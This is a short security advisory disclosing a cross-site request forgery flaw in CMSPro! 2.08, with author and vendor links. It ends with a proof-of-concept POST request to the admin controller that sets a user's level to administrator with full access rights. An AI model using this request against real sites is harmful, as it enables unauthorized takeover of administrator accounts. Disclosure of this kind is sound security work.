CMSPro! 2.08 – Cross-Site Request Forgery
CMSPro! 2.08 CSRF Vulnerability # Title : CMSPro! 2.08 Cross Site Request Forgery (CSRF) Vulnerability # Software : CMSPro! # Version : 2.08 # Site : http://www.wojoscripts.com/cmspro/ or http://codecanyon.net/item/cms-pro-lightweight-content-management-system/140078 # Author : Xadpritox # Email : xadpritox@whitehatmail.com # site : http://hacker-cisadane.org # Type : Cross Site Request Forgery (CSRF) Vulnerability VULNERABILITY DESCRIPTION CMSPro! 2.08 versions contain a flaw that allows a remote Cross-site Request Forgery (CSRF) attack. The flaw exists because the application does not require multiple steps or explicit confirmation for sensitive transactions for majority of administrator functions such as delete , assigning user to administrative privilege. By using a crafted URL, an attacker may trick the victim into visiting to his web page to take advantage of the trust relationship between the authenticated victim and the application. Such an attack could trick the victim into executing arbitrary commands in the context of their session with the application, without further prompting or verification. VERSIONS AFFECTED CMSPro! 2.08 PROOF-OF-CONCEPT/EXPLOIT The following request escalates a normal user to an administrator. POST /cmspro/admin/controller.php password=&email=xadpritox% 40whitehatmail.com &fname=Xadpritox&lname=Xadpritox&membership_id=4&userlevel=9&access%5B%5D=Menus&access%5B%5D=Pages&access%5B%5D=Posts&access%5B%5D=Modules&access%5B%5D=Rss&access%5B%5D=Layout&access%5B%5D=Configuration&active=y&newsletter=0&submit=Update+User&username=Xadpritox&userid=5&processUser=1 |